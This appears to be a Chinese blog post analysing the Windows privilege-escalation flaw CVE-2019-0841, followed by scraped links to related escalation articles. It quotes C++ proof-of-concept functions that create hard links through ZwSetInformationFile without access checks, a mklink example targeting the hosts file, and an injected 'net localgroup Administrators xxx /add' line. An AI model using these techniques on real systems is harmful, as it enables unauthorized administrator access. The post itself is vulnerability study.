新Windows本地提权漏洞学习(CVE-2019-0841)
1、这是一个啥漏洞?
睁眼一看,妈呀本地提权,快加入本地提权漏洞利用包里,速度加入。github连接我就不发了。担心被认为是传播黑客工具,咱们在这里单纯学习一下漏洞的原理和部分源代码。
2、文件读写权限转命令执行权限!
为啥能提权,基本原理先说一下,这个漏洞可以让你拥有“文件读写权限转命令执行权限”的典型案例,利用一个低权限获取高权限文件的读写权限,即可利用恶意代码注入,劫持dll等方式赋予自己高权限或者劫持高权限,从而获得命令执行的权限。举个例子:有一个system的py脚本会定期运行,你没有这个脚本的完全控制权限,但是有读写权限,你可以在里面增加一部分代码,比如下面,那么你在执行的时候,你自己的xxx账号就变成了管理员权限了。
os.system("net localgroup Administrators xxx /add")
真正的效果如图(在其他电脑上截的图)
那么问题来了,这个漏洞是如和让你拥有这类文件的权限的呢,我们先来补一补Windows系统的基础知识。
3、硬链接与文件安全描述符
先来看看巨硬官网咋说
简单来说就是硬链接指向的还是原来的文件的文件描述符,所以安全描述符应该是在不同的硬链接、软链接、原文件之间共享的。所以这就是为啥修改硬链接的权限导致原文件的权限也会被修改,因为都是一个安全描述符啊。
我们尝试使用使用mklink来建立硬链接
mklink /h C:\1 C:\Windows\System32\drivers\etc\hosts
那么问题来了,我们需要在这个低权限账户下创建硬链接啊,不然怎么办,提权走这条路,卧槽,老子能提权还做这个干啥。这个事本身不就是提权嘛。查一波文档,mklink使用的系统API是CreateHardLink
也不行啊,怀疑这个系统API中有权限检查,我们来看一下PoC中的代码,找到CreateHardLink
bool CreateHardlink(_TCHAR* src, _TCHAR* dst) {
if (CreateNativeHardlink(src, dst))
{
//printf("[+] Done!\n");
return true;
}
else
{
printf("Error creating hardlink: %ls\n", GetErrorMessage().c_str());
return false;
}
}
嗯 ,这里使用了自定义函数CreateNativeHardLink
bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname)
{
std::wstring full_linkname = BuildFullPath(linkname, true);
size_t len = full_linkname.size() * sizeof(WCHAR);
typed_buffer_ptr<FILE_LINK_INFORMATION> link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR));
memcpy(&link_info->FileName[0], full_linkname.c_str(), len);
link_info->ReplaceIfExists = TRUE;
link_info->FileNameLength = len;
std::wstring full_targetname = BuildFullPath(targetname, true);
HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0);
if (hFile)
{
DEFINE_NTDLL(ZwSetInformationFile);
IO_STATUS_BLOCK io_status = { 0 };
NTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation);
CloseHandle(hFile);
if (NT_SUCCESS(status))
{
return true;
}
SetNtLastError(status);
}
return false;
}
看起来就是创建了一个硬链接,没有别的,这个过程没有看到身份认证和鉴权的操作,我理解应该是这里通过自己实现创建硬链接的函数来规避了权限检查啊,但是这个方面没有资料支撑,还需要进一步研究。
新Windows本地提权漏洞学习(CVE-2019-0841)的更多相关文章
- msf利用- windows内核提权漏洞
windows内核提权漏洞 环境: Kali Linux(攻击机) 192.168.190.141 Windows2003SP2(靶机) 192.168.190.147 0x01寻找可利用的exp 实 ...
- Linux Kernel ‘perf’ Utility 本地提权漏洞
漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...
- Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞
漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...
- 基于RedHat发行的Apache Tomcat本地提权漏洞
描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于R ...
- 【原创】深入分析Ubuntu本地提权漏洞CVE-2017-16995
*本文首发阿里云先知安全技术社区,原文链接https://xz.aliyun.com/t/2212 前言: 2018年3月中旬,Twitter 用户 @Vitaly Nikolenko 发布消息,称 ...
- CVE-2016-1240 Tomcat 服务本地提权漏洞
catalogue . 漏洞背景 . 影响范围 . 漏洞原理 . 漏洞PoC . 修复方案 1. 漏洞背景 Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容 ...
- CVE-2017-16995 Ubuntu16.04本地提权漏洞复现
0x01 前言 该漏洞由Google project zero发现.据悉,该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意 ...
- Ubuntu16.04 本地提权漏洞复测过程
一.漏洞概述 Ubuntu 16.04 版本且unprivileged_bpf_disable 权限没有关闭的情况下就会存在 提权漏洞查看方式:1,cat /proc/version 查看系统版本 2 ...
- windows本地提权——2003笔记
windows主机 用户有三种:Users,Administrator,System 本地拥有administrator权限用户提权到system用户 win2003: at命令 系统调度任务的指令, ...
随机推荐
- Linux之通配符实验
作业五:通配符实验 反引号与()在此时都是表死获取结果 但是一般使用()的方式,因为反引号在多个反引号的时候无法正确指代 获取当前bash 的变量 echo $变量名 echo $? 表示上一次命令的 ...
- Linux命令之vi篇
作业二: 1) 使用vi编辑器编辑文件/1.txt进入编辑模式写入内容“hello world” [root@localhost ~]# vi 1.txt 2) 进入命令行模式复制改行内容,在下方 ...
- ASP.NET Core Docker jexus nginx部署-CentOS实践版
本文用图文的方式记录了我自己搭建centos+asp.net core + docker + jexus + nginx的整个过程,希望对有同样需求的朋友有一定的参考作用. 本文主要内容如下: cen ...
- JavaScript数组(三)数组对象使用整理
一.数组声明方法1. var a=new Array();2. var a=new Array([size]);3.var a=new Array(['a'],[1],['b'],[123]);4. ...
- Map network drive遇到报错“The network folder specified is currently mapped using a different user name and password”,怎么办?
--------------------------- Windows --------------------------- The network folder specified is curr ...
- 单片机 MCU 中 stack 使用的探讨
stack 的使用,是单片机开发中影响最大,但是最少被讨论的问题.而提及这个问题的地方,都是对这个问题含糊其辞. 今天花了点时间,使用最笨的办法,直接阅读汇编代码,来对这个问题就行探究,这里做一下记录 ...
- java最简单实现Log打印和生成日志文件
导包 1.commons-logging.jar包 下载 2.log4j.jar包 下载 配置log4j 1.在src根目录下创建一个log4j.properties文件. 文件全部内容如下: log ...
- 单片机成长之路(avr基础篇)- 001 ISP与IAP的区别
ISP(In-System Programming)在系统可编程,指电路板上的空白器件可以编程写入最终用户代码, 而不需要从电路板上取下器件,已经编程的器件也可以用ISP方式擦除或再编程.IAP(In ...
- Eclipse SVN clean up失败解决方法
错误信息: 1.下载sqlite3.zip (https://www.sqlite.org/2019/sqlite-tools-win32-x86-3270200.zip) 只需用到解压后的exe文 ...
- C#中,重新排列panel中的按钮
https://www.cnblogs.com/hfzsjz/archive/2010/08/13/1799068.html void ArrangeButtons(Panel pn) { , y = ...